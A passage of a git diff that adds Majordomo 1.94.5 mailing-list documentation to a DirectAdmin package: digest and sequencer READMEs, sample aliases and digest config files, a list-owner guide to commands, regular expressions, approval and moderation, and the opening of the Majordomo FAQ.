+(whatever-digest.config), NOT from the files in this directory. + +To set up a majordomo digest list, you need + + - digest work directory for incoming messages. + This must be under the root $digest_work_dir from majordomo.cf + - digest archive directory for completed digests. + This must be under the root $filedir from majordomo.cf, + and the directory name must end in $filedir_suffix. + - the majordomo digest list. This is just like an ordinary + majordomo list, except that you need to set the various + digest parameters in the list's configuration file + ($listdir/whatever-digest.config). They are well commented. + Make sure that in the message_footer and message_fronter + that you begin all lines that need to be blank with a '-', + and if you want the line to begin with whitespace, precede + the whitespace with a '-'. + - aliases for the digest. There are examples in aliases.slice. + +You can set up a cron job to make the digests go at regular intervals. +If you take incoming messages with the -r option, digests will also +be created whenever there are long enough messages, or whenever the first +message is old enough. The -R option will prevent this from happening; +it just accepts messages, so digests can be mailed whenever you or your +cron job say. The -m option (which is used by majordomo's mkdigest +command) will make a digest if there are ANY messages. The -p option +will only make a digest if there are enough messages, or if the +first message is old enough. Both the -m and -p options could cause +more than one digest to be created and sent. + + +If you only want to set up a majordomo digest, stop reading now, +because the rest of this file is about the standalone configuration. + +------------------------------------------------------------------------------ + +If you are setting up a standalone digest, ALL of your configuration +values come from the digest configuration file. There is a sample +config file in this directory (firewalls-digest.cf). The default +name for the configuration file is ~/.digestrc, which could make +it easy to pipe mail from your mail reader into the digest, if +that's how you want to feed it. + +To make a standalone digest, you need these things: + + - digest work directory for incoming messages + - digest archive directory for completed digests + - a digest config file, ~/.digestrc by default (sample in + firewalls-digest.cf) + - a digest header file (sample is firewalls-digest.header) + - a digest trailer file (sample is firewalls-digest.trailer) + - a digest volume-number file (sample is firewalls-digest.vol) + - a digest issue-number file (sample is firewalls-digest.num) + - RFC-822 messages, stored one per file + +The config file is commented, and the format should be obvious. The +only two things to watch for in the header and trailer files are: + + - a line containing _SUBJECTS_ in the header file will be + replaced by lines consisting of all of the subjects in the + included messages, in order, indented as far as _SUBJECTS_ is. + + - lines beginning with "-" in these files will not be + properly encapsulated, and will be interpreted by + undigesting software as message breaks. + +You need to pipe the incoming messages to "digest [-c config_file]" +for example: + + cat email_message | digest -c /usr/local/digest/banjo.cf + +And you can use either the -m or -p option to build a digest: + + digest -m -c /usr/local/digest/banjo.cf + +for example. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.sequencer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.sequencer new file mode 100644 index 0000000..75fb175 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.sequencer @@ -0,0 +1,69 @@ +sequencer - a majordomo module + +Shane P. McCarron +MACS, Inc. + +Copyright MACS Inc, 1996 + +All rights to this package are hereby contributed to the community, +and in particular to the MajorDomo development group, to do with as +they see fit. + +Introduction + +Sequencer is a perl script based upon the resend script in the +majordomo release 1.9.3. The script has been modified to (optionally) +provide for sequence numbering of messages in their subject lines. +This modification takes advantage of the 'subject-prefix' +configuration variable already supported by majordomo, expanding it by +including an additiona '$SEQNUM' expandable variable. Expansion of +this variable is handled in the sequencer script so that the majordomo +and config-parse.pl scripts did not have to be modified. Processing of +$SEQNUM could be moved back into the config-parse.pl library if the +development team believes this is useful. + + +Documentation + +Sequencing is invoked by calling the sequencer script +with a '-n' (numbering) option. When this option is selected, the +script uses a listname.seq file in the $filedir directory to determine +the next message number. It uses the shlock.pl library to keep this file +locked while the message is being processed (to prevent multiple use +of the same sequence number, and skipping of sequence numbers when a +message is bounced late in the script). + +If there is a subject-prefix defined for the mailing list, and if +there is a $SEQNUM in the defined subject-prefix, then the message's +sequence number is placed in the subject line. + +This script also provides for archiving the messages by sequence +number. If the -N option is selected, then a copy of the message will +be placed in the list's archive directory with the file name equal to +the message's sequence number. In addition, if there is a file called +INDEX in the archive directory, the message's date, time, author, and +subject will be placed in that INDEX. Note that the -N option +necessarily implies the -n option, since archiving without a valid +sequnce number would be silly. Logically, -N is just a bigger +version of -n. + +This script also handles the absence of a subject. If there is no +subject, the script creates a Subject: line with a subject of +"Message for listname". This subject will also get a sequence number +of the requirements specified above are satisfied. + +Finally, the script increments the sequence number and updates the +number in the listname.seq file, releasing the lock. + +Conclusion + +These extensions are pretty straightforward. I would recommend rolling +them into the resend script. I would further recommend adding the +$SEQNUM processing to the subject-prefix handler and getting the +special case code out of the script. However, this could continue to +exist as a standalone script. That is how I have done my +implementation. + +Also, I think it would be useful to include a man page for resend. If +you don't have the time, I would be happy to try and put one together. +However, I haven't written using the man macros in quite a while :-) diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/digest.aliases b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/digest.aliases new file mode 100644 index 0000000..eb1c1a6 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/digest.aliases @@ -0,0 +1,18 @@ + +firewalls: "|/usr/local/mail/majordomo/wrapper resend -l firewalls -h GreatCircle.COM firewalls-outgoing" +firewalls-outgoing: :include:/usr/local/mail/lists/firewalls, firewalls-archive, firewalls-digestify +firewalls-request: "|/usr/local/mail/majordomo/wrapper majordomo -l firewalls" +firewalls-approval: brent +owner-firewalls: brent +owner-firewalls-outgoing: owner-firewalls + +firewalls-archive: /usr/local/mail/archive/firewalls + +firewalls-digestify: "|/usr/local/mail/majordomo/wrapper digest -r -C -l firewalls-digest firewalls-digest-outgoing" + +firewalls-digest: firewalls +firewalls-digest-outgoing: :include:/usr/local/mail/lists/firewalls-digest +firewalls-digest-request: "|/usr/local/mail/majordomo/wrapper majordomo -l firewalls-digest" +firewalls-digest-approval: brent +owner-firewalls-digest-outgoing: owner-firewalls + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf new file mode 100644 index 0000000..ee9b8d0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf @@ -0,0 +1,51 @@ +#Digest configuration file +# + +#name that appears in subject line and digest banner +NAME=Firewalls Digest + +#address reader send to to reply to the entire list +REPLY-TO=Firewalls@GreatCircle.COM + +#address error messages should go to +ERRORS-TO=Firewalls-Digest-Owner@GreatCircle.COM + +#address the digest itself appears to be sent to +TO=Firewalls-Digest@GreatCircle.COM + +#address the digest really is sent to +REALLY-TO=Firewalls-Digest-Send@GreatCircle.COM + +#address administrative nonsense should go to +FROM=Firewalls-Digest-Owner@GreatCircle.COM + +#file containing header text +HEADER=/mycroft/brent/digest/firewalls-digest.header + +#file containing trailer text +TRAILER=/mycroft/brent/digest/firewalls-digest.trailer + +#directory to store incoming messages +#INCOMING=/usr/local/mail/digests/incoming/firewalls +INCOMING=/mycroft/brent/digest/incoming + +#file containing volume number +VOL_FILE=/mycroft/brent/digest/firewalls-digest.vol + +#file containing issue number +NUM_FILE=/mycroft/brent/digest/firewalls-digest.num + +#directory to archive outgoing issues +ARCHIVE=/mycroft/brent/digest/archive + +#directory containing shlock.pl and other stuff +HOME=/mycroft/brent/digest + +#how big do we let digests get before sending? +DIGEST_SIZE=40000 + +#how many lines can a digest accumulate before we send it? +DIGEST_LINES= + +#what is the oldest message we will put in a digest? +MAX_DAYS= diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header new file mode 100644 index 0000000..b1f57ad --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header @@ -0,0 +1,6 @@ +In this issue: + + _SUBJECTS_ + +See the end of the digest for information on subscribing to the Firewalls +or Firewalls-Digest mailing lists and on how to retrieve back issues. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num new file mode 100644 index 0000000..b1bd38b --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num @@ -0,0 +1 @@ +13 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer new file mode 100644 index 0000000..4fc730b --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer @@ -0,0 +1,18 @@ +To subscribe to Firewalls-Digest, send the command: + + subscribe firewalls-digest + +in the body of a message to "Majordomo@GreatCircle.COM". If you want +to subscribe something other than the account the mail is coming from, +such as a local redistribution list, then append that address to the +"subscribe" command; for example, to subscribe "local-firewalls": + + subscribe firewalls-digest local-firewalls@your.domain.net + +A non-digest (direct mail) version of this list is also available; to +subscribe to that instead, replace all instances of "firewalls-digest" +in the commands above with "firewalls". + +Back issues are available for anonymous FTP from FTP.GreatCircle.COM, in +pub/firewalls/digest/vNN.nMMM (where "NN" is the volume number, and "MMM" +is the issue number). diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol @@ -0,0 +1 @@ +1 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/list-owner-info b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/list-owner-info new file mode 100644 index 0000000..b992576 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/list-owner-info @@ -0,0 +1,588 @@ +Majordomo address: # Majordomo@FooBar.COM +Majordomo-Owner address:# Majordomo-Owner@FooBar.COM +List Name: # ListName +Is resend used: # yes +Is the list archived: # no +List posting address: # ListName@FooBar.COM +List request address: # ListName-Request@FooBar.COM +List password: # whatever +Digest list name: # ListName-digest +Digest list password: # whatever + +Your mailing list has been established. It is being served by an +automated mailing list manager that responds to commands emailed to +the "Majordomo address" listed above. This message has all the details +of how to manage your list remotely using Majordomo. If you have any +questions, refer them to the Majordomo-Owner address listed above. + + ****** +There's a lot of info here, so please read this completely and +carefully, and save it for future reference. If you have any questions, +you should send them to the Majordomo-Owner address above. + ****** + +Your list-owner password is shown above. Keep track of this; you'll +need it later. Instructions for changing your password are below. + +As soon as possible, please issue a "newinfo" command for your +list (see below) to create the file that someone will receive when +they join or ask about your list. + +You can issue a "who" command for your list to see who's already on your +list. You may or may not already be subscribed to your own list. + +================ +The Gory Details +================ + +Your mailing list is managed by an automated mailing list management +program called Majordomo. Majordomo should free you from dealing +with most of the administrivia usually associated with running mailing +lists (adding users, dropping users, etc.). + +To submit something to your list, you (or anybody else) should simply +mail it to the list posting address shown at the top of this file. + +To be added to your list, a user simply sends a message to majordomo. +There are two ways to do it: + +address-- To: ListName-request@FooBar.COM +message-- subscribe + + OR + +address-- To: majordomo@FooBar.COM +message-- subscribe ListName + +Majordomo understands several commands, and is not limited to a single +command per message (it will process commands until reaching +end-of-message or the command "end"). The command "help" will tell +you about all the other commands. + +Actually, it won't tell you about _all_ the other commands that +Majordomo understands. There are several commands there for use by +list owners such as yourself, which are not advertised to the public. +All of these commands are password-protected on a list-by-list basis, +but anyone with a valid list/password combination can invoke these +commands. This is not exactly high-tech security, but it's more +intended to keep annoyance to a minimum than to be foolproof. + +The "documented" commands which Majordomo understands and which are +for everyone to use are: + + subscribe [
] + unsubscribe [
] + which [
] + who + info + index + get + lists + help + end + +You can get detailed explanations of all of these by asking for "help" +from Majordomo (send a message containing just the word "help" as the +message text to majordomo@FooBar.COM). + +The "undocumented" commands for use by list owners are: + + approve {subscribe|unsubscribe} [
] + This is so that you can approve subscription or unsubscription + actions that need approval by the list owner. Note that this + is just a standard "subscribe" or "unsubscribe" command prefixed + with "approve " (where you substitute the password for + your list, which is listed above, for ""). + + approve who + This allows you to get the list of addresses for your + anonymous list. Without the password, even the list owner can + not see who is on the list. + + passwd + This is so you can change the password for your list, if you desire. + + newintro + This is so that you can replace the information file that people + get when they do "intro " or "subscribe ". It reads + everything after the "newintro" command to end-of-message or the + word "EOF" on a line by itself as the new intro for the list. + + newinfo + This replaces the information file that people get when they do + "info ". (This file is also sent by "subscribe " if + the intro file doesn't exist.) This reads everything after the + "newinfo" command to end-of-message or the word "EOF" on a line + by itself as the new info for the list. + + config + Retrieves a self-documenting configuration file for + the list . The can be the password + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig + Validates and installs a new configuration file. It reads + everything after the "newconfig" command to end-of-message or + the word "EOF" on a line by itself as the new info for the + list. The config file is expected to be a complete config + file as returned by "config". Incremental changing of the + config file is not yet supported. As soon as the config file + is validated and installed its settings are available for + use. This is useful to remember if you have multiple commands + in your mail message since they will be subject to the + settings of the new config file. If there is an error in the + config file (incorrect value...), the config file will not be + accepted and the error message identifying the problem line(s) + will be returned to the sender. Note that only the error + messages are returned to the sender not the entire config + file, so it would be a good idea to keep a copy of your + outgoing email message. + + writeconfig + Write a new config file in standard form. Writeconfig forces a + rewrite of the config file with all default values in place (or + current values if the config file already exists). It is + useful to use after an upgrade of majordomo since it will add + the new keywords for people to change. It also updates the + documentation in the file if that has changed. + + mkdigest + mkdigest + Generate a digest immediately without waiting to reach the + maxlength given in the config file. The first form will cause the + digest to be sent to an alias found by appending "-outgoing" to the + digest list name. Because this can be a security concern, the + second form allows specification of the name of the alias that the + outgoing digest will be sent to. + + +Configuring Your List +===================== + +You should retrieve the configuration file for your list. To do this, +send an email message to the majordomo address listed at the top of +this form. The contents of this message should be: + + config + +Where are given at the top of the form. You +will receive a config file that can be used to change the operation of +your list. If the information at the top of this form shows that +resend is being used, you want to configure the majordomo and resend +subsystems. Otherwise you only have to configure those items that are +associated with the majordomo system. + +The configuration file is meant to be self documenting. Once you have +completed all of the changes to the config file, You should use the +newconfig command (described above) to put a new configuration file in +place. + +If you have a digest version of your list, you should retrieve the +config file for the digest as well using: + + config + +and configure the parameters for the digest and majordomo subsystems. + + +Regular Expressions +=================== + +For some of the configuration options, a rudimentary knowledge of perl +style regular expressions will help you run Majordomo through its +tricks. A regular expression is a concise way of expressing a pattern +in a series of characters. The full power of regular expressions can +make some difficult tasks quite easy, but we will only brush the +surface here. + +The character / is used to mark the beginning and end of a regular +expression. Letters and numbers stand for themselves. Many of the +other characters are symbolic. Some commonly used ones are: + + \@ the `@' found in nearly all addresses; it must be preceeded by a + backslash in later versions of perl to avoid errors + . (period) any character + * previous character, zero or more times; note especially... + .* any character, zero or more times + + previous character, one or more times; so for example... + a+ letter "a", one or more times + \ next character stands for itself; so for example... + \. literally a period, not meaning "any character" + ^ beginning of the string; so for example... + ^a a string beginning with letter "a" + $ end of the string; so for example... + a$ a string ending with letter "a" + +Example 1. + /cs\.umb\.edu/ + +Notice the periods are preceded by a backslash to make them be +literally periods. This matches any string containing cs.umb.edu +such as: + cs.umb.edu + foo.cs.umb.edu + user@foo.cs.umb.edu + users%foo.cs.umb.edu@greatcircle.com + +Example 2. + /rouilj\@.*cs\.umb\.edu/ + +The `@' has special meaning to later versions of perl and must be prefixed +with a backslash to avoid errors. The string ".*" means "any character, +zero or more times". So this matches: + rouilj@cs.umb.edu + rouilj@terminus.cs.umb.edu + arouilj@terminus.cs.umb.edu@greatcircle.com + +but it doesn't match + rouilj@umb.edu + brent@cs.umb.edu + +Example 3. + /^rouilj\@.*cs\.umb\.edu$/ + +This is similar to Example 2, and matches the same first two strings: + rouilj@cs.umb.edu + rouilj@terminus.cs.umb.edu + +but it doesn't match + arouilj@terminus.cs.umb.edu@greatcircle.com + +because the regular expression says the string has to begin with +letter "r" and end with letter "u", by using the ^ and $ symbols, and +neither of those is true for arouilj@terminus.cs.umb.edu@greatcircle.com. + +Example 4. + /.*/ + +This is the regular expression that matches anything. + +Example 5. + /.\*rouilj/ + +Here the * is preceded by a \, so it refers literally to an asterisk +character and not the symbolic meaning "zero or more times". The . still +has its symbolic meaning of "any one character", so it would match for +example + a*rouilj + s*rouilj + +It would not match this because the . by itself implies one character: + *rouilj + +Normally all matches are case sensitive; you can make any match case +insensitive by appending an `i' to the end of the expression. + +Example 6. + /aol\.com/i + +This would match aol.com, AOL.com, AoL.cOm, etc. Removing the `i': + + /aol\.com/ + +would match aol.com but not AOL.com or any other capitalization. + + +To be on the safe side put a \ in front of any characters in the +regular expressions that are not numbers or letters. In order to put +a / into the regular expression, the same rule holds: precede it +with a \. Thus, with \ in front of the / and = characters, this + /\/CO\=US/ + +matches /CO=US and may be a useful regular expression to those of you +who need to deal with X.400 addresses that contain / characters. + + +Approval +======== + +When Majordomo requests your approval for something, it sends you a +message that includes a template of the approval message; if you concur, +you simply need to replace "PASSWORD" in the template with your list +password, and send the template line back to Majordomo. + +The requests for approval that Majordomo generates all start with +"APPROVE" in the "Subject:" line. + +You aren't limited to approving only things to Majordomo requests +approval for. You can approve any "subscribe" or "unsubscribe" request, +regardless of whether Majordomo has requested this approval, with an +"approve" command. Thus, you can subscribe or unsubscribe people from +your list without them having to send anything to Majordomo; just +send an appropriate "approve PASSWORD subscribe LIST ADDRESS" or +"approve PASSWORD unsubscribe LIST ADDRESS" command off to Majordomo. + +If you use a mailer which is capable of sending a message to an external +program, can run perl and can run sendmail or a program capable of behaving +like it for the purposes of sending mail, then all you have to do is send +the entire approval message (including all of the headers, which are very +important and which are automatically removed by some mailers unless +configured to do otherwise) to the approve script. Approve looks for a +file called ".majordomo" in your home directory to find the approval +password for your list. The format of this file is given in the following +excerpt from the approve manual page: + + approve assumes that the approve password for each list is + the same as the approval password used by resend, and that + this password is stored in a file called .majordomo in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +If you have the necessary environment for running the approve script, +contact the Majordomo owner at the site that serves your list and request +it. + + +Bounced Messages +================ + +Majordomo may bounce certain messages that people attempt to post to your +mailing list. These messages may be bounced because they appear to be +administrative requests (i.e., someone mailed a request to subscribe or +unsubscribe to the posting address rather than to Majordomo or to the +-request address), because they are too long, because they match strings +that you or the list server owner has defined as being "taboo", or for any +of a number of other reasons, many of which may seem annoying but have been +decided upon as being useful in stopping unwanted messages from making it +onto your list. (These are often configurable, so if you find a check to +be too restrictive you can generally turn it off.) Note also that the +bounces mentioned here are not the same as the errors that will be returned +by various mail servers when addresses or hosts are unreachable. Those are +generally referred to as bounces, also; sorry for the confusion. + +Majordomo will forward these messages to you in another message whose +subject line begins with the word "BOUNCE"; the subject line will also +indicate the name of the list the message was bounced from (in case you +manage more than one list) and the reason the message was bounced. + +If you decide that the message is OK and should not have been bounced, then +you can cause Majordomo to post it anyway by sending the message back to +the posting address (NOT to the Majordomo address) with a special +"Approved: password" header. There are two ways to do this; the method you +use depends on your having access to and the ability to run the approve +script mentioned in the previous section. If you can run approve it is +recommended that you do so, as this method is much less prone to errors and +will reduce the time you spend moderating your list. + +If you cannot run the approve script, you can manually approve the +message. To do so, follow the following directions _exactly_: + + 1) Save the original message (the body of the message you received + from Majordomo) in a file. The portion you need will consist of + the headers of the original message, followed by a single blank + line, followed by the text of the original message. You do not + need to include any of the headers of the message which contained + the original message. Here's a quick example: + +From: majordomo@list.server \ +To: your-list-approval@list.server | Don't want these headers +Subject: BOUNCE: taboo_header found / + - Blank line +>From list-member@her.site date \ +Received: some long routing info | Headers of original message; +From: list-member@her.site | You want these. It's OK if you +To: your-list@list.server | don't have the first line. +Subject: Just a message / + - Blank line, you _must_ have this! +Hello. I'm just writing to \ +consume some bandwidth and | Message body; include all of +take up space in your mail | this. +spool! / + + Basically you want everything after (and not including) the first + blank line. + + 2) Edit the file to insert a line that says "Approved: password" (where + "password" is the password for your list) at the top, before the + original message, with absolutely no intervening space: + +Approved: sekrit +>From list-member@her.site date +Received: some long routing info +From: list-member@her.site +To: your-list@list.server +Subject: Just a message + +Hello. I'm just writing to +consume some bandwidth and +take up space in your mail +spool! + + 3) Send this edited file back to the posting address for your list (NOT + to Majordomo). You should make sure that your mailer doesn't try + to do anything like include your prepared mail as an attachment, + encode it somehow, indent every line, or add anything extra to the + beginning or end of the message. There are mailers that will do + pretty horrible things to messages before they are sent; you should + take care that you aren't using one or, if you are, you have it + configured to pass your text on unadulterated. + +This time around, Majordomo will notice the "Approved:" line and check it +against your list password. If it matches, Majordomo will strip off the +header of your message and the "Approved:" line (leaving just the original +message), and send the original message on through. + +Even your own messages bay be bounced to you for approval. To send out your +own message without server checks (perhaps you know it contains something +the list server will complain about) you can pre-approve the message one of +the two following ways: + +If you're using a mailer that can add additional headers, add one like the +following: + +Approved: sekrit + +It's precise location within the headers is not important. + +If your mailer does not allow you to add additional headers, you can add +the line: + +Approved: sekrit + +as the first line of the message, followed by a blank line (which is +required for your message to be sent properly) followed by the text of your +message. The Approved: line and one following blank line will be deleted +and the message will be passed without being checked. The blank line is +important because it is used to differentiate between a pre-approval and the +approval of a bounced message, outlined above. + + +Moderation +========== + +If your list is moderated, (the moderate parameter in the config +file is yes) then messages without an "Approved:" line are bounced, +just as described above. To cause them to be posted to the list, you +add a valid "Approved:" line and send them back, just as described +above. + +Again, the "approve" program automates all this if you wish to use it. You +can also use the above pre-approval method to send your own messages +without them being bounced back to you. + +If you have any questions about all of this, send them to the Majordomo-Owner +address shown at the top of this file. + + +Restricting Posting +=================== + +An easier alternative to moderation is to restrict who can post to the +list, which can be done with the restrict_post configuration variable. +The variable requires a file listing the people who can post. + +The most common case is to limit posting to people who are subscribed +to the list. This keeps out advertisements and other junk mail sent +by non-subscribers. Since majordomo already has a file of subscribers, +you don't need to create and maintain a file, so it's easy to set. + +Change the restrict_post line to this, where is the name of +your list: + +restrict_post = + +If you want to restrict posting to any other set of people, you'll +need to ask majordomo-owner for help. Unfortunately there's no way to +tell majordomo about keeping another file of people who are allowed to +post, so a file would have to be set in place "by hand". Some future +release of majordomo may provide a way to do this automatically. + + +Archive +======= + +Archiving has to be set or unset by the system administrators reached +at majordomo-owner@FooBar.COM. It is not the default but must be +requested. Here is what can be done. + +Archive files can be split by years, months, or days. This means all +mail to the list for one of those periods of time will be collected +into one archive file. People who want to get archived mail will need +to get one such file as a unit. + +We are running an indexer program nightly. It produces two index files +that subscribers can get: CONTENTS lists what subject lines are in each +archive file; TOPICS lists what archive files contain each subject. + +Subscribers use the "get" command to see files in the archives. Examples: + get ListName CONTENTS # gets the CONTENTS file + get ListName ListName.9507 # gets the July 1995 archive file + +Access to archives is controlled by the get_access variable in the +config file. The default "list" means they must be subscribers to get +archived files. + +Subscribers can also get a list of filenames and dates in the archive +by sending an "index" command. Example: + index ListName + +This is controlled by the config file variable index_access similarly. + +Notes on archiving. + + - It's possible for the archive to contain files besides the indexes + and the archive files of messages. However, majordomo offers no + method for you to put them there. In an unusual case you can ask + majordomo-owner to put a file there for you. + + - Archiving could be accomplished by directing a copy of messages to + some other place besides the majordomo archive. Ask, if you have + something in mind. + + +Digest +======= + +A digest version of a list is a way to reduce the number of messages sent +from Majordomo to subscribers. Normally, each message to the list is +remailed to all the subscribers, but with a digest, several messages are +collected into a batch and then sent together as one message. This does +not reduce the total size too much, although there are fewer mail header +lines-- the main purpose is to reduce the number of separate messages. +This actually helps the mail systems at both ends, and may help subscribers +reduce clutter in their mailboxes. + +A Majordomo digest is actually a separate mailing list. The digest of +ListName would normally be called ListName-digest. + +People subscribe independently to ListName and ListName-digest. +Very likely no one would want to be on both lists. To change between +ListName and ListName-digest, a subscriber needs to unsubscribe +from one list and subscribe to the other. This can be done with one +message to majordomo@FooBar.COM with two command lines in it, e.g.: + unsubscribe ListName + subscribe ListName-digest + +Remember that ListName-digest will have its own information file and +configuration file. Change them, if you want to, when you change the +same files for ListName. + +Majordomo will send a digest automatically when the size of the digest +exceeds the size given as max_length in the configuration file of the +digest list. The default max_length is 40 K. Thus the interval +between digests can vary, but they will be of a predictable size. + +The listowner can also tell Majordomo to make a digest (meaning, compile +and send out a digest) by sending the command mkdigest at any time: + mkdigest ListName-digest password + +A daily digest (or for some other time period) could be achieved by +setting the max_length high enough so as not to be reached normally in +a day, and then setting up a job to run daily that sends mail to +Majordomo with the mkdigest command. On a unix system, give the +commands "man crontab" and "man 5 crontab" at the shell for an +explanation of such jobs, or ask majordomo-owner for help. + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html new file mode 100644 index 0000000..0484b67 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html @@ -0,0 +1,1456 @@ + + +Majordomo Frequently Asked Questions (FAQ) + + +
+Version: $Id: majordomo-faq.html,v 1.4 2000/01/13 12:54:41 cwilson Exp $
+URL: http://www.visi.com/~barr/majordomo-faq.html
+Archive-Name: mail/majordomo-faq
+Posting-Frequency: monthly
+
+Note: This FAQ has been recently updated to be exclusively for Majordomo 1.94 +and up.

+ +Table of Contents: +

    +
  1. What is Majordomo and how can I get it? + +
  2. Problems setting up Majordomo + +
  3. Setting up mailing lists and aliases + +
  4. Mailer and list administration problems + +
+This FAQ is Copyright 1996 by David Barr and The Ohio State +University. This document may be reproduced, so long as it is kept +in its entirety and in its original format. +

+Credits:
+This FAQ originally written by Vincent D. Skahan. Many thanks to the +members of the majordomo-workers and majordomo-users mailing lists for +many of the questions and answers found in this FAQ. Thanks to +fen@comedia.com (Fen Labalme) for getting an HTML version started. +

+You can get an HTML version of this FAQ on the World Wide Web +at +http://www.visi.com/~barr/majordomo-faq.html. +You can request a copy by email by sending a message to +mail-server@rtfm.mit.edu, with the following text in the body:

+

+send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions
+
+If you have any questions or submissions regarding +this FAQ, send them to barr@visi.com (David Barr). +

+


+

Section 1: What is Majordomo and how can I get it?

+ +

1.1 - What is Majordomo?

+ +Majordomo is a program which automates the management of Internet +mailing lists. Commands are sent to Majordomo via electronic mail to +handle all aspects of list maintenance. Once a list is set up, +virtually all operations can be performed remotely, requiring no +intervention upon the postmaster of the list site. +

+See the main Majordomo web page at:
+http://www.greatcircle.com/majordomo/ +

+Majordomo controls a list of addresses for some mail transport system +(like sendmail or smail) to handle. Majordomo itself performs no mail +delivery (though it has scripts to format and archive messages). +

+

+majordomo - n: a person who speaks, makes arrangements, or takes charge +for another. From latin "major domus" - "master of the house". +

+Majordomo is written in +Perl. +It will work with Perl 4.036 or Perl 5.002 or greater. +It will not work with Perl 5.001!!!. +It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. +You must upgrade to version 1.94.3 in order for it to work with Perl +5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due +to a bug in Perl with respect to regular expressions. Use +Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions +will likely be Perl 5 only.

+ +RedHat 5.2 is unfortunately shipping a prerelease version of +Perl ("5.004m4") with some of their Linux distributions. This version +is buggy and won't work with Majordomo (you will get "Unknown mailer +error 9" errors). +Download an install the 5.004 or 5.005 RPM instead, or download +and updated RPM from updates.redhat.com. + +Many people have been having problems with Majordomo on DEC OSF/1 +AXP systems. Apparently Perl on the Alphas is not as stable +as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make +sure you are running the very latest version of Perl (version +5.002 is known to work). There haven't been recent reports in +this area, so it's assumed that later versions also work.

+ +There have also been reported problems with the native compiler +for AIX 3.2.5. Perl compiled with that compiler will crash +when running Majordomo (even though it passes all the regression +tests), however if you compile Perl with gcc it will work.

+ +Majordomo was developed under UNIX based systems, but could be made to +work on others. If you can get Perl to compile and run cleanly on +your system, and can send Internet mail by piping or calling an external +program (and that external program reads its list of recipients +from a plain text file), you can probably get Majordomo to work +on a wide variety of UNIX-based and non-UNIX based systems. There +is no known port of Majordomo to Windows NT, Win95 or Mac. For more +information, +see the comp.os.msdos.mail-news FAQ. +At last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that +helpful for anyone porting Majordomo to NT.

+ +Here's a short list of some of the features of Majordomo. +

+

    +
  • supports various types of lists, including moderated ones. +
  • List options can be set easily through a configuration file, + editable remotely. +
  • Supports archival and remote retrieval of messages. +
  • Supports digests. +
  • Written in Perl, - easily customizable and expandable. +
  • Modular in design. +
  • Includes support for FTPMAIL. +
  • Supports confirmation of subscriptions (to protect against forged +subscription requests). +
  • List filters +
+

+See other references throughout this FAQ for some further notes on +using these packages. + +

1.2 - Where do I get Majordomo?

+

+Via the Web at:
+http://www.greatcircle.com/majordomo/ +Via anonymous FTP at:
+ftp://ftp.greatcircle.com/pub/majordomo/
+ftp://ftp.sgi.com/other/majordomo/
+ftp://ftp.sgi.com/other/majordomo/

+ +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior.

+ +If you don't have Perl, you can get it from: +

+http://www.perl.com/perl/ +

+Use that link for more information about Perl, too. + +The FTPMAIL package can be found in +ftp://src.doc.ic.ac.uk/packages/ftpmail +or any comp.sources.misc +archive (volume 37). +

+Majordomo 2 is currently being developed by Jason Tibbits. Currently +it's "alpha" quality. Join +the majordomo-workers list (see below) if you want to use this release. +You can find out how to get Majordomo 2, as well as information about +this release at +http://www.hpc.uh.edu/majordomo/ +

+ + +

1.3 - How do I install it?

